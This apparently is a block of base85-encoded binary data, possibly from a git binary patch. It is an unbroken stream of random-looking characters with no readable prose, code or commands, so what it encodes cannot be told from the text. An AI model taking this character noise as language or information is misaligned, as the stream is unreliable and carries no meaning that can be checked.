z!Ze!WJFMT?<5I?a%(|7jS)+z%eN#M&lMw!HnR08_pj8L2j90KnZd`9G1JkhtyZVFe zTDKt?8o^K;9Z7M^lW2c3l3?r!y(LENl8W7=F>emo)peJt92n=X?!1W8l{@I9gI=M6 zU!rY9qkdCh&3w~_b}EZAc7Nm>9&_8KmR5^w^k|{xV48O2v3Zs;nVL9GWhfoHM3aDr zYwW@7#uhm1%fOCfbVSXC`6#yTfgmKlmf^AY~j_ z$mqYen?oBk{UFwa?Z#~;X1FyjMVm)WI7cjIv`2I190DhEJacFcTfF_pal|Q<4b3{$ zku;kyXlXoVC%+O%(rmV&HKc5A!eFTZ4xS~D>os}$CtPIaJTaA)3A?YbNpX27g^@*Y zrpQF+K18fJiN=yh9>JLuw*Lvt*TkicTiJcFQThWAiXFByzqR`Tm8 z+P@F=aq~K9j@@M}gE@mo7N(VRt`i)mQxZ=5&cwzW7^mInR8dRVhB9lxc8J!a10H^d zVyoG$YtUiIucT6!boCxLqpgh9erlzb=SYn(Hi7iBL?MCAfWCLgj?(=tyG9Uh7HtW6N7RZvJjZh`m=q}kw}(LQiW!&29*{deibIFT z`*;{5P^ulx9i}z=YOo`09Jn)bVm*T84$sxh(KswhBCViMoB(RP!;17$=xYacM3!o5 zX{t3RYOfXk2EOEDuqX~*c0ZU)LjKfs5~U?kjT zai#?G-7buwN8N~;N~EE>Nh}w0oyjDc8nCU6LxP02tK9>Pn$Y0K`;l3iCC>ZpCk2Hj(MA47Y)bs#OVLf8@qk0*PFM#gly(Ur(wM1oma zU+3E#+JISOwMt`^s$Yok45T~$=!ZHx!PYipINL-%&R;O~2(DW3X6n1_9Q*DrjSs%*iz-t{eMX#OV_-Rf<`47(ZbPSGO6$ zwZs}QTI6w0e=<$kedW0IQrDy*LtPK1WPM#`C(P_(T5ERCP-8V*ZR2T^WNTcTvuyCm z7)Aw=Rt$jr@gdT48=Z03DvmdFrMSvAY!ABz?cFF1(a|hfdjIr}vQ^g_Y4aO2r8pA9 zgtI!*5W#yQ=Db%}bj7qwT4ul-9-Nz+2{JdcRt!keECl!%w6SF*W+r zM8P~ri%6Px9n1)1v`4$?CNJmfbf!_Ap}!;3%F&ryzVMU6QcFuy9mbdP>`wnKB{SGG zEBvXU!4zL7NSV$>I;`cC8Y|y;&tOb{^*Vs*AI-@&=dewFX`5%}5VT!&lku5V1N8Ow z^$S$CUG!qLo8c;|!}swV-;SHTn{2F2n&URfl;*RAb>af({8KPS_Vg zbWi{RSh1p4M+J=NIFys^?2EgY7p8f=S6VV=+;lhi%IR(ye^A}bR_2PN zJS!h?>P0g&vr&^0?Z3J$sl)S(Wh*PFC=<<06xe>p)xS%P1213OK`qCE*{|s}dHObE zZsDqitECtiHN+Bi=Di`lF+-D~y}E{GORV;SDWdCw8HWQ6dmPg=UuT&b?&3Hn&b?8F z*dUI+jhJ^R+~X#`MpsD14Zg!(ciae`%K`m87x(C7jm=Q6fapAf{6%1lPBv#zOcAwZ zR`qL=5o?iYI2@`JKM8%h<3c8paPh~##%7`zNsNE3$6ElQ%??zu-o!{NTPoGoFchA3UPaNK?N!`bX4*ZZYn2wqa)R5L3S^-gT*C+z!gg@}DpOK-lVi0ol_@OX}ud|2v19c1!yCNv%d84EMG09ko14n5KJe{ zFf%mfkgNkQZJK3bb82ifeJ&GJrg=UdOHMqt$H=?Kt_25=1TPBNHi&_md0EpPu(sz% zP&5wA&UR)l&2cgx4Sh_S9MDD*M~xxd(-rnIP?(v)r;RY|qkM5JtqE|jka13js-j(G zys<|;!^vq@AY)D*)!4}Q5W%ZjNOlwj+|=b6^%nSte=rO%gYS^*MpXpof;ebugdwFL zb95bm8JgHt56USs&#Y)xzUv}&&tysaq>ivY;lIb{3Tx*LAwzW*IqnDw4(WvqP~IW! zjLNpK8xGb@d{1EPkeja*2BRN$a+|W4dQ$fltoEBgZiUcUV$jpnkhv7_iR(Jth{s>a(l`YtWkcfjfXUv8t&YNYP3!vl2^xh<4jmhk0rKRnApR~gzA^U4+Y6@PX2wv}UN;9cD zP3p4^wQUKUyY}afI&s!k4U0`SwY6}2(cFWBwi|<};k1??D2QgRaix9Ln78aWOb0vA zC505~w}({twSsVZ&i?FH|M%Zc~=&e2NmoT^qz&}-OZ*~Z=1MdBLu*-ZkxD`|&; z;m5Qap;L793CZ;RHFf`Ks~1?5#D+!O%*ktpa7>`D8{Zj;@)c0Hk+imeW6*f$(=!stnk5{{BFY%>dP6JQ};i@FBTS6S20G`L3&biOl(EG+%Ds;hdn+cDg0S z+M=n0K|^b3O*TZ5^$Y)rw#Tt7?PWEU@X1YThz6tMygkNnlg4kU|H}i#kW-O}sJ%YA#f|0zD!@p~^%m2s* z?Mv%AOGJTrAPk!0u*5BMDkgenevAecBV#q8rds&Uq?^Q;P*`FuKC7WU-=Lw{BfXv( zrkRN8m4cOvitW`JsTg^KM_sWgp*54>TN`PH!d6g&VNZiTOkvV-t zI}2Y~Na#Tgm0&=u9gKU-(rL=<^`-D?Jt}Xo>(a0e+z2AH7fG`ZmNJ}bViUb3ZeJra zaZKkXGfT=wH7c^-p>Q+La5TLfVL~*z;Xde@F>^k~nw5M$UWC9a3&C!Rv*tvTwPy}B zrJ_i;X0Pr%q0?U2OpUxo$L1|hS50P8IsWvj8#dA(M0=CLMw7~?nYH@P^bxOmZoYD) z4x47+BoDeQn5J47zW2%VKU$pf*F*ee16xz74}RSOV)IQzerm@Ax})|tn=(bLC=hH>suqiNTy%&0POkZhkAZ<#s>BboO^rJq{ykI@zN8ufsFLFn)FPSYldR3 zC74}IFzwo(O)-1+NjNyAMGb3s!OMR33t5a*)7FgFE%{}!G^zb}UfoM&8gMsuo~h{> zwqK@Uh14Hyu8(od}^j<5HjK*~&AxIW& z5APoNUp@;T`A`Bp%^P-i5{sQN)>F+Z;EWeGBus?N;BmsY(0MK$s|z?&g9(~ROWjv1 z)a>D#7WNoRdJE#4XmP$@YG(+v1T!h*_ly!l=-(!KX^U>dj^*5Xpf*-zma*-d)JpD@ATlXv`}fvYmp2=NK1#HdtfMkm1s49u7k z`C@=&7B3E;9vbWER`DoL16DoFUaYUIMsw0PRgLpY+S4<00W-Ta=URe#GYf5WYzcm4 zCa5R8rjx$Rk+G4Kc~=v8TAM3WJ>Hk1ak+*cvP9XOnaK?v=VH1#PZY&2d$ClRpDy!1 z(`MRS_{=RLa{IePfdzT^{!E>q4ul!Ejpc&Fj&3 z(tI7V=P~0ry8ul)gu8LqiNZxAafFXPkquw>2W*STCeyDxFJsMn=EZ?KdV( zSH-nT|L9m)UlfyuY|JWXc4kV#@1h~)U?`NnJd?tQt?+dib3h_>y#GS~)jr!5>I`Q{ zrgm;7jUUc&1d3%~^MC29#qLWDr(tht>2L+cH=!Gu;u=OWPr*OU9vhj3NhN`}{a`(Xi*S*lxj^U$U(jTOe%ktbUj!PeIWy|U7Sdxdgy;OPk~??9JtO=T z1k4-;_>w!d!$F3hfIrR%&n=t712yAjG2TkX@Cgz;&QXnjKq|c_Gb zz0!hO#ygK~Xz}51f%@e)d&c8V=xXJgU*&D%hspXzQ(b2|SxIs8nhRc3v$ky-=>*?P z3b#eJ?MM{cNybR{#v2k!dsjI%yiF~{xEstzFn2~Ax@sIzw8s;JZv_SFF~(&sU4tLD z8eM5V{u}NsCip^=B8AtrW%8Jrq-`1-tJ0cX_@s|r#gn;U;Ev&1xQA6*LHA$b`5zQA zV=AmDVFjlr9F9wUVl>`nKV)RA z+>Y7K{(eMe$AIpd>A1}*yQEc@Xe)?TR1}yWl_}VWkHVeayJK5hvzq zw>&qlVpBJTPFwJfb?^il^=(Aew#fMH{_xq-v{mqKdnOZow)qkzd{pLO#xyV|4$BoD zCplN++Hl%R3ViTjcPA9C38|6L9SbvGsNvIT#i>79-4fdUuwE*K_cQFbZ(h-Uxo~0i zp7C*HW)v8fIWd@SLGo-ouVVM0jj*m;^dAkK{0|u*$95PCm`@o|fV4$JJE_MGM_Z#- zC|ns_>biCZl+0q7`A^yc5KG`59QQ3ZbTys)=B1G-+>_V^F3HN~XF3dPQYO?mOzrI( zJ5O6%3_3IpC-wbLOl48TaGTL&1g*x-VA#1$pnv1)HEl#)q+(6A*tayV@(#)i7?met zSZsmV`1mJ2{Cl!!nU(Al|ZaVuw+p@yCaZ0r-P|kvaeQuLW=7`4ZOk=V& zG~zrm@=BX_N~<()b8->4QQ(QYa#u|gt;>deCmpQ$`iL2`rtQ)AA2G!zBzsQcCp);{2u(msF@yRv0Hw=`Y>8 zJD6i&3>>r!hO=M78^U#FmSgoZzQ<-PyhAm?s;D&!CS|J0x-+ws;WqQ3`9nQD!`1zr zgBPYxpZFMCn`RC=t;sOccl+aeldxQRF!l4lmfeNns5_mIxst~PMWdLEQ5Uy+D=W5c zfw`LBtO`%#Xh!K@e>3KbbJ@59W2Ob^1D}}9n8Y<>k$~L>Loy*)zj;s$%Bk{=v3MKDe({udvNi$q>->k{7YWM0R51eu* zn~HwLD45%%M!T^e%U1#X8g|XqGy#5(q0v8vm>B(JVkkB+Ja%a-KS`e&9_hQ-eKAhvjMV~u2}gE3asJxHGlj!E z-Aoc>%HdMM|MFw~!3*n@DVUVM(r1@BMhu-_$S~Q=yJ45AcZ|Z%Zb>t-%xAZ1|Hky; zZiAh28aIYt;=sv+j1OQ>I2z{+GF}w|ebe0j`SiS23SyEFe{`zw$DGk}|z(S{?G;Y(}_myMH zOfuCKdLP5w%50XwC{dQ9*E0NXZ5UDQ!RPST5!I|*C+nOUjbg^Xb%9m(bs7iwsYV?=0*Fc-p!@#)&3t zzinfS+f4G%{82jmFp@8sn*)YBk{A3EXJM8oEq`6~*}Thg5T_v!KFPfl`d zJ=+i zN@Y_r{?u%XeJ7Oh>Z?Yu<9rs9Gv(6zH^KI^ZDh(Vc=g@H#S%fP2~DmR z-}Fn50;57hP0&MI6Jmz~kS;4sqGova$uCpP%+YPlye4@ReV zwwZVJy9Rnzo|E-v{Fp|NSi!P`6Sm^ecLw!6vcR^^`gF#SAoESWjKO;5?Tk@J=56zB zOQVU*7CP>g!EIjm>4AYugAE>2dGPA`RG05rogz7SNgqX16Ht8EZ-tK>nsrc|^utL` zZ=~~*G`n;ii=T@|qR!{ov8dh;aW9H~cZTK&9t@ubmp(Lu9CkYDGIgid(po1wYF7)aNQ{BZtj9z$@`OHX z%Z@P9v~`j$-CX?^?2`6y)XV$?TX*&IAC$RXB(ADHt$XcsDAa3-CZg=e)=5f<~%mz!SRtBXc=7nJHp z%bS~{1tS=B;7j`jl{?pIF`2(~?Rm5QgMX8}oXaD#@Qc}=SI__GUsh>DZh7syX1sfP z&5hIEGqvWXDes+Jb92ru*)_Lj-8SjijGsOI)RRAb;(s3h$&Yir$jpIU@5euR{C}SK z>61@A{WB%d>QeH&>_@9}o2N&-=zAy6i@f%h>^i3Sws}q0&3*fv>vP{R`-WNXoXMPS znsRdvQ-Af0DUriL29G`ZqaXg@k?%7fq={dQcmF2sjN~q@M#8sEsxb-Qnso|~M)4>k z9|G4x9{V7kDtAxf?^Ti9xq3E=XK&3qtS1>cIwey5v!`mU7~` z6QTTK;F`4j%0l_w>&qI$bJXOmS)F)*<+NF)m95;5@5&Yr<<-Z$Y&n(5)=*wAKVVZ<{o^cJ@Vqr5&Pm%S}A?Xkc?SL7J29kK~rJ9o~{%k3?N! zG`}nswBDw`hij)q>ikP4@lcS?^jVSI0;N-jbR?2Ve2g3|IP4TU0{OE_S@x)DFhSXGo1{*RCKobD`l4EO z%9NuPmvzCV5)HR^@+)0W!~JmC(a)$JZkrTzYU~oz-BVhcOruO$oB!Ss$-U9kC7dnP za7*@Wlc~Qbf&7~dBh0u)Q1A~IIk@6j2mi84v&P4tj2lI~$FY^Yk2X8`WklU+ zui;~-vK?P#uUm0_FYedd>n_im&J6Cg*H_@0_si||b)L7V1lRZ5>-T%!;%5+Nmc72u z^GX^*@qg%ft6qfYdG<9d6>^?{7*x{T{{GOjx_uKO~sUz2ftO~&;HGOjxVP0f0urZA8_|(pnkoVp*(OFY5`vC64e!a)-{pO74`!lYu@Vq&c|2iB0+Kl^mc;4Le5LRICqdfX2ePyFOb1Ba; zd;dqceiGMt_8PjM%QCp@zkA+1*m2HW-OpK~)DX)+PGQD%RmOEjd2+fk?q}3b&ea+B z-=1-OSH|^cGOkg+5{g!3<^6%@t!8=M^;5XM7uPr1`x*5$**GVrsq#(E^Sm`IgRP&* zn>=rADNOZRJwJIb`YK#MgKL*Q%D4G>TswI_i0haAYpkG+Vvlx{ zwx8UO`GvmS&$Z3;U#UTeJN{z6-G}S6H!*M>{v9)1hIa|lPuwwX#*eXbRXVhq&KNih z7=*;_cQ?8C$2%Fvi4a;d(Lo@DhgbahbokmGy%_f^(ul_$IsIHf@cIpin@^!1aLw51 z4!#9Ou0(qiV%p5y^{&wByzvQfTt%s zm!oiO)aWo5rDkoUAKp=ohqtQqD3fH>o3qnqamz*>7wA$Amcd-2X(5@f z5>am2t@}0KwCcdh>sXI|<=4h>Z#Uqn31WusDn5j=N8HB84({2-YE%1W&&ihw+h!By zq;Te;-|5MSq*h$wIc=G}`R9i?!VghRn;IY9>H@5Hr2F}^WWG!DFi>#qD4 z5GM+Y;bfbOh{wX0{&V37=(qT<((~A_nt!{&Il`QOd)^8gJ~<0RD#!S{!p515ImkSQ zZ^b+cv;27sC!_n!b8$Xv<19t^mu(y}#(^vC9A@$pHVz)2{7V~$jK0>znX=yV@~sS0 zFpkN$=}#%g9LlCM1@j9(d@#gUU`XlW-069RE}f5nT{;+x6uCH%!H@HsAkNe^7|Y;U z&LO9+$6q{axZU%LZJJY$gKe5q&tN=f)0}#BC>(lN?czTGcJVQma57Arg|VA`c3J_( zZH}Ej&%?09>60AN=d>SNeU2ggX{%52bAdjmqux#3U5oiC>fO{G`2favHm~WI2RviB zjei~HJViD>8M;_!5qjV{eM+4y%M z&bw@UGM@3{-{*N7T>P)w__rg@cWiv}BSHL``8LkaF<)C_rlb;Ov{Wy2pbea+VahneLo=_atHS>aQ zWwecDLN6QFbjOU&H z7o#3s-?X?S6uvdY-JVx#>v}PL2<3;)7F)YAe0Lzv5|)c`&UoGu)-Uoi{OM4fM}smh zVVyEQbh6}W8=w44DE^B<{H3RC{GBjq+C0-IhjhO5c5HiFnU|vMaiq_GOJ4vZKL0Jl zeUtAM;Q2Nk^3ovRWk}c6#j<@iKA)|&@yQLL_#L76W1(=^_CYJdvM+$049^F0E-$j_ z*LdFYH8y=RWN`h+a$GxkmLFGq+S_vKglUq8L-C;#KmL_A{d&Z?+NMwbbSVDUZJdP& z|Bj7Aek2s<$xxcKE0im%0CE0miuHsY96;|hl^Fr}UL-BXp^s5lR z+NMv2+)gJe=({Mx0fgUa-5Zu181v*fW*{3`-I zS}@wIv2F58LB6X{{*92E|5n`? z3cn}BUk!0cKLrh*cgQ|l@UrJMST5WYchq_T5jXqj`4MojYBRC@-3rTVhYl^7jY6cJ~mvw}Fquo*XJDTd9sIZN?f!5FL|{M`HD&W! zAJX}H$n3`08<3tW?*_=3~y36?Y7MM95V87Wh`s;ybG*sWyeC?8{)eIJ(S%S=)COF!1gvS z49c}}cVG`2s{?!3*zb8gHm{9H)7kCDPqkeO89e(3j)#oPeQnFKapG4tS1x>xOR!LpH-Vf@fKVjc^OegkJ-O z9t>XrM!g$81BP809tIa!?gf`vJ_ate+yO4Lj56^Ig?Y9fyw&mn@J_M!JQ#W~amcWR z1(WcX{~+g5@VSS<^TbuCLvN9|1jish`jXs;63812f(Ob zhA;UFxJA5r2RJ3}=kd-HHa_=|2gHNF0b@^%&-PG;E5+wiSJ+!)c-zI`>%}GagKrVn z{2Y9jcmsT%hw?Cfv8 zeqOx(bKq}^%bo^f50r5xqkT_$N}Lb9O+va1UkV*h!agB+;XhP|CLB7HzK6wN9fcR)781>C(vyXzIJ2K0gb%~8X2!6e|{UY$nCWmI(TR zEL)cOOw*QS1?Bm*eKv|btW9#gGaGxF%&YDFVB|;6y&4=5m&4Ywv5(2{p(9|(N6vc$ zjJhXRO$9?HawF2qexEq`B-rYF+GAiVTk^GFE8Bq%u+{Ti_{(go=V{*uTRmsPr{*AS zrr+}-c!zl2F>p*=hC0n@5pxWcW81<~q@B~R@FmDA=ThbHwvr20Q(uuBJ>^_^B^~ZTgL$1Kadz zS5r1C&W4A`zZ|6kx`3a>?-b8Vb5L|VbNO_i?( zL#GTsd^yW z!M|1bWXLsrs(5c3xJ;aLF1SIQ2ic|{5pRVKr`vkmg0!cj{wQb1mEc#2OCihjH;T_W z28Qh#9S(v&DqhWeVM7dGT><`vc<>(ZBjQv2;9rQVuK+(M-uDLZOJd3}BS&0!HF&O= zGR(*mQwFZ{I~itd6(4vD!VicGvcR^ylxN0Kh39_>d`f)Y67Xqp%OAmbo@wqo5Bwf+ zC+u_v>YL%`z$RyWTRa8%%y>*(g!?o8Anu1f&-lA|?j2YUpDf<>Kj3-d3ttAW6rUFb zZxc^VfosKkVMj9$i+i61Um)JaaM*;=Gvl8TA8Z6ej|^}5IM~+F!Aro9!-T`mXMRF_ z@*(gS#ofEXuw%wqR0jT$cqe??%%6$d?gIZ_T>mTZ-^Ax5uUXmRDX5cKbHqb$0Zrg^)K{{t}U zn0eKp+_SzRKKGqqTX)l^fxoZtr5^^{dOWWi{8NQ*`3)GlW;%25cb2W+rLPBDTix_0 zoL|ea@gc)(YoEmn!KDhX!}GJPeI821FU8BiLyEI$5R7!0SKg)ISBaM_2IF~#@A)A38XM=g zU~8XsXur9)D!dB%$%RfCpY0|0vtqWjTx+X4R)L>TcrNp@IxJ#3R&Q*xx&Klew%Iw; zgLLLVCZ^9eJEvI8Han+W%r-k`ub48-IVfhEor5;OXZLRdUnFjQ8yI!Z@ZnE_ZxomG zf>CCMpNNA$C7#akuZoXAhjV@)-V1*`=V>wJpJVO8$p4bUsfW3f#gv~%C7C|up9{T^ zDgRuQnN0cT?h;e}xhXOI%-nwQkti5?Wc=(T_-b(@Y+$afBl_^U)`x71fj_M{Tr->d zH8EwL`>>cY&;6;`$o!1h$ov;EWuBKMrp)u^h$-_t>nkYpJlMLC4eeqcWF_~l1~-e# zkoLUu#gRXOPl@R#=UpPEpPYAg{RpP2HaT1+_QpTAr@eE@9RCi}JdTNPe?F*qV#i8ebwA#OSdK3B{>ael9u zedYWs#ksJT`8SJ?{S|EeSpL1>&nletIR6{s$%s4u5i#q1zV$67bzs|Gb}hhMJX>*A zJqxyNCwn${uEJ-*pDb7>_AUf(7Edn*qis+p$Kb0L>=8GjtP85e(~g5}8JB(ue2&7a z(6$zw6jT2T#>9n-!LJjuE*9J=rp_1qx0vl~!Pmr#D!{g0ioXtiPT>c?34TFb{Za5s z;#M+brOcI(XW?Y=!YSZ+;==pDE5$WPW8r!+ZDt{Ci_cQ#g*9Tzx$v-oF>Pic z^yO@3;TbV)X5kyew3&ssiP`Tjyj#pRyYTa3+Wf)?#4P*5ABn5bwif za`1l?&VAHHGsPDy1j9Zk4`o=i+Qvay7FCL8LFPsK#ms9_gP3JsbX2?r{%n!0yEWH= zU#sw=uL8eWybZRn=oWDc^u6fA;z|DiTU#}0ena8ZC--(K8}+#ex*$`Z+|MObpNp&w z(;m2=>&mj&)*bb^*wzt!^F5_>w2z*MsVjuWo@$Qd-uMr|Hi=J625%Lg zM@Ahp&TN!v$pP`;^Wa)>1M{`^Fb{RI#OkviZH4OvMh576iM9Vdh`Xd);k_}i)p>aZ zcv#^J-Uqh&-_Qky?HV~>2fk8#6gINN*2}?j!EaS~@u$GHj`l*wOQ0h@+cF<)`>!n2 z3HRk09zmIwK&RxMm%;an7yl7_zj)p#_z`g#+Rc(D#axG5@{D*#KlnxQhL7N{CuYC7 zbe4DpeI#x$uNBmBiRE4RTQ07kZmKNz;cvZo@%!<&RoqOU*C`%cj=!%FS6za?SBZBX z!QVHD*L?tguM@W)!rym^w?B-(H;ZTd4u6>kWaEC)(!0bS_4IME84rG1oWB=;zaYM# z5r4lbUc|H?5Km|R4~gge7ykZGeBtZy_i=ICZ2Wy%Je4y3T72#r{C!q@>;(QkFYcrN z`>QyQIzXLK=1q`uS(bQZFL;``8)aISD?Zc=UMQZ4x>!ct;n~!`!3E+1$hnMpBm4l` z<+3vI{aa4~iFm2|OmA(*nLsybtYq*%jiYQSjB`P20iOiVr>szFvI(ufR8o zH-86wt9Uv5+p;^v9^-sO99smwN6dY?WuFz#VqW)&tBb&27q5H{{GfPwEBIk?F77XT zRNP4UpAav*0Q__DdC>i`--y?J1B|q&hoQHDUl31azAuS){sjDQ@kP6F)*?sTdImg0 zT!}H)^10&OtH6uJEAZU%Jn*cqLH*NyoDQ>3xkd^XWcpezK zAa6%KEWcOWaUA?*@k*BEesLe#HP6g2ehcF~B5q`w&>h2Tk^k~1#ix?sUy6@W=g){Y zU|hQVkK!2mh~+Pei(Uf%LwtS>{HZ5C{(kTj@q$l-XNdiV|@P%Cus=xD38-MY*{DtKjW6&QstjaSh7IGdWBr`WkRtyy677SzL^|T0y^z zIQh`WiVMW&F}z275%jjAU!22m^gWC}74@*?aVO z-vVAJ?#}_E;u+rcGPp=QA8F>T6Q4xfJX?1~kTGwE!uM_i?-NHa1joeN=Yydmrr8S} zsb-?h%_rO<)E71<};5!&z zR|vjd%(KsV?-3t@Zu4y0tYy9*QurD?llO7)@VVg6i0hgDed2Y{ecm_3=fZySz9a6u z3;YA|8tVCR@v&EdeGTgE;zKux*1!nAblQUe|~H`7H4~)Z@zO;=bR5 z=ZbshftQGRMrmcfxM?MLwRi#azp_kR@O|(WaR=&o{{&)TZJR+W31-?`qy90cMcoXb# z-L8C8yyO`8r{Wz*i)Y&y=ez{?cj8@#z|V^>7zCrtj8jhC{#)Dy+4Coh7d;4`C7v<| zyg*z99p^6>bKH?%C_VvykdOLinkWAX-Yi~-y2{@!Uf%-VE8g`-aE-WXHW>2p*?iOy z+ctUOo4`lKQ|iDdC&PzOhxsSP7k&_o@-RI2SK!m)_0U`X<>GeOBhzJ^NoYg)NSEC5 zb};@&z5u$+hb@xVe+_(_xB#}vvv~~9$_9T-Tze7t)8Yo$az1R1aSlYlUl;dn0)JcF zH3~+1W}FJxRsK)J8&RkEuw#a|7l8j)Tnc;4e@;A~asE%t_33=rDC5^AamEjS$z@l8 zr-_$e4@R9ad@t;9)nak+4d9jHg3o|U#KSLuH;6Yw_p2(!IWxe!#AV2T)dBIm1z^+% z)9)SuC&cICdR3eFa3lCU@iFLjRhPJb2l$kD_Yc6(Bh%RldtY@%e3E5(t#}sdch%Km z&f{0TMSR{r!6*-(-BJxk+an+U7x?{_VJEAgFNT*uXRGcJ?}Lr6`kZ(#+Qh0ai+5Cj zzbVc^TUhmwIC3-iM>ZU7bk!5$?kM;d;seyrGvdxM@Snt4kbM=}gOT$;V8};KT#TbM zIpTtC;F;pxNWWmdxOy*mnYaYc6u>_CYz^9L!CLX;zky+A3_r9LjI_wR8^EwL^8QP} zkd@4Hz6A%xhneqTarHUi4sk2&w;&}R{2us(xZ+CifVc(u7oeO>^VBNvtHkTqff0}4 z+hI$bN0HBgECttz&u5zN7H@bAe5<$#?W+Lw&G^kM*WF_77Zv=s_$cx(_=32m75p{v zBFgZfcmr&oeTI<%c3tpeaogL$Pl<=hz`qvPvFyJWAA;=^ydWNiT@?IXyaKu@^u%Sb zk;19sEvU!BT=62*Tj3({y3c?iH)W_p8imE;1&qI5-1Js3Y|g~F0lZUutR1{xJPGA1 zthJ1^3LC|3&~qWm&u6_Q;B&>hz5_lk=J~b4K5-q&RX8kOcsUq0!Dp*b4~4H0XF~^t zZxFZt1bnSH(FuNscpsiCyh*%)>AX)|0Xr?cOPqB8{0Z@~a`0!xWgh^4NxTL1Qh2|3 z_6Yd9;_`*yABvZtjtc)rJnKsE&&5Y?1piiC`!x8E;solm@Gs(`>EM^e)7vnnhi$RE zOVEyawvIe_J9wVB^Ecq7;)2s)*c0OvLw`kU#QS={8^zqiFWM@e|8MXfaTV;h2zuwU zQ@#O?iwhucQM33Io+~;c-uZg)1>zI1u_ENbXOH54Mg8I}sN14Z@wsScMVE;?80U3j z?(cCAhR-&98vHhK>Iv|>#7kj!MYo8TeH(m-IQmQQN5u;vSJ9`$laXi9=f#Iu#;=Me zEdhT^>_xy2i_7MM9}_Ql2>hgY%0I!s63>JUa(|9;=B)+)S-koY@Jr&@7s3A#r=XMK zDdLmI!L!Auehh}KFdeRs7OxOzp?wq=SuOyt6Az(`#pU9|kh6G)xDfY?_lY|WfMeo$ zHQ)yE3DjM2QoOYre2%yZG8T7=H^R3R_lg@|10E7z)C#^>Tn+sdzgk@XU*N06+nMH@ z#oY|QUOWRjFMf}B%{Rffi#y@xia#Vi{s!>J#U;=|@n^(c{|&xRydSa`!xpJ44|x{D zN067n_KSZY-oktz7q|Ta{4?@xE2yE#l#az`Mogw}T_%j;F!( z;{Er7o5cH2&n1Y*yzonJUdj35cGO7;^v>|97lAJn@Bc6u{)pjuaqy+$1slLui04zD zH;RwLR(WQg@vE-`zf(Mn`YgHG#y<%DfOz#N_#@(Y6#Pl?d9crtd&QejUnO4=AA#;m zpkJn+i#A>IJ@IPTMaiS$IjHxNpNdc114demzj8D9cjDv}@bluuu$_{>iCc5QurtPA zaV5?qO%~5cfoF+x9sw^9=l6h@i}O(Ds|&>g@awBfEu-D9M&3+wfN{2qxBVY@uXu0` zxJKN6BlwVwgTJd=EMEdXDxLwmSPlDQnoHgdJ}Hhd{-C%KzGwAm@dlK8_2uHJzXrcv z?0p^lCh;niWA)oDLzdN$gXynAdaG{}?|@!c-ziRh8~icx#@~ZKEnf5*@E657C1B*i zbW(`B8qbjNyICH69Qpi0@K40spx4!~U4}HA}#dgK;=! zTysD?57%qz!~^Gm6XI#m)tWXN4qdJ}Ph5Ti+-3Q7;8Wt70x;Sh)8F$f_>B0RJn(D9 z+dmGzT0G}=@LR-*HQ*b>*_VRfD~_OiYu+#30GnC!VR8IPFm%DZ3aggYB)& zu?&5$ooN|*UOQjB2zIe{nK=1NF!Esf=cE4Dt`)aMz?*EGkAk;}Q*Q%Ti5J4I*235D z*+Zy{wa9~fPA~YdcvmO5!}6=aX#b3}>pfsRLtZ@>JRpt?fycz9_25^DPr|O(UMb#t z8Th{}qkh)HUYU-EdRhB!@qs(Rw~9}qy{!G9xDs`=_HHrX?^*lbmVXBRf;i6buZibm zfpN|BlQ)6CFP{A$FzS-w%b=UJsAKZv+2CJ`&w-3<(ViK;7In4u1@YEK@ZZI`u-{UM z&Nxk5!BfSpkf$_PT=9AEBJttxf?>yuzYe-DEfxaCpargaT$iy_eVGpIP;vUFVdah;IWa)8n4eGzNPrPm+cv#%~7VsrD4s5mbHR9$Q zz;6&2c7m_9;rD{yA)br&T?+kDh7Hgg&zq8u&jR0Nc{BJE;vI*;us_B*`a|%SETc`8 zqC5;g?|LxwMeaEUMm)oirSyL+e+2w<%c$GZ--@F(;6I9Y-VFYWc+z9wm&G$thwHK} zKdSF8F#TE3)w+2KFGf1+mWpSc4_+mX!#3Bg5vR6;H;VIMr|Y(gE0EW^J>n9`yRKTi z6?$D47w4dE`OP)vyYM0K5%Dn7yg=NGuyv?R#wmiH*TD|R(_xeAP*3CwQK#$BuE>+F z0KZOrU^4g`%doX|Zxau&jPJ6{XKxXg7J=^&&;JehqvCS-hIOA3PrDTSdGX=~@K?oq zmV>`#<3s1`9u`-=0ER9o8|#1Flj5#I@UO&!C&AB(*X{!U*)nzhlDH-ZjCRX(c0gXf z`$j(ackpcSIk$sh(+qFJv+GxgPb>hVYz#lK3A|1`TnH`~S561-5HEx6tluYIJ{KIb zTnR>*na-SVfRp0$q1W~2h^wvycZ#=t0Ng9yxfnboZh~%jR-WnXgUzmgwRp>X@Kxe+ zw6FDV7GL-?@b%(_u*dc95zl0K@js@+_Obp$;-TH(kBfKQ2mXvW|6gESGk()^V3dJ8 z#4>(Id<6En{s-a|%lNo>{WD<5!T3x67YzF#uPp@sLA(xapYIPcd>8Uu|4;FWH^MJu ziQ{v?&^6;U{u_+E$ww{(FA<-QXE(q`8NT9U;ML-do!~O@q8{)T@!A<+l$r7Ot^!BI zyLW=?#l=s7o5b@O-Y#AMc{jjT_-rrQ(}r&GV%X^h$i(mq*MdjH^DYBlDz4uQzCyeM zb+rNIWc(u7)P}c;r@RCFPH}c8_-65D*yaY<2jf@3mzZ-Q;6?XX+|qGQ8kC@B(o^@-4G%?bO%7kehK9K=))Ja9{3eCh!_GIpOMLjRU_8%s4nf9^kBgJVI8$QFe(nq4{R*$R4LmG9 zngrW6Tlg*TtqR|FFZd(kt`yj|wYeY0J88KJp9K5ayj;974;&FMg*=-Z#hX#?%|~r` z9~kX{a&Cp4Z@x%8^eXVH#TP)%&8R=dnRhMN+T=+O{62;AT^Xj!IH%AqHh*5+SOWg0 zc*a8T55-#_2LDXlhjy^}Iq|mdga0n(*uNb0YVw5+%B|j}BcJjDgrkTGUY<=36sbJ`l z;U{4)6?leB-B%nE4^Ial7B~L{e8k4t1GYZu2;+AtypC!1iKmQ!hr}nKkBZac{iu@) ztCLR1Qt>*4M@zwP6vG6(inoY2BaMo8Scd*8-XrGTDeapwue=icLCg4C0ezXWz{ga4 z((*sSpR;j(1pbnk`-c_Z5Fck5t)7=6|BCM`JjSv-CT_%Y6=Arp$rX1!0p2ODK)r0SHr#g#jP}oT+IE0(O(b<8Q%0du(jvD4}d?e@J-D33*w#3_W?2AUD)zNG2gA(V&$*- zGWc1ASE6lh`Kyi744;xEu6O}#%hieYxOKV0XWRl_BQE+H*y?}ob>MvpKXxP7>Oa{5 zw)$W4YVdKz>HG^Ava(!}3&59&3vUHqE$&7=Z@u2e`4kxU82{YwfIlLh{~-9YVt&(N 